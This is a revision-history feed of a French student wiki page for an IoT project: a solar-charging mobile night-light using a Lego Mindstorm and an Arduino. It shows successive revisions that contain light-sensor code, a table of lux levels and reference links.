  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46733</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46733"/>
				<updated>2018-01-13T21:37:07Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Suivi de réalisation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46732</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46732"/>
				<updated>2018-01-13T21:36:26Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la deuxième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | - Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46731</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46731"/>
				<updated>2018-01-13T21:11:49Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la première séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | - Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
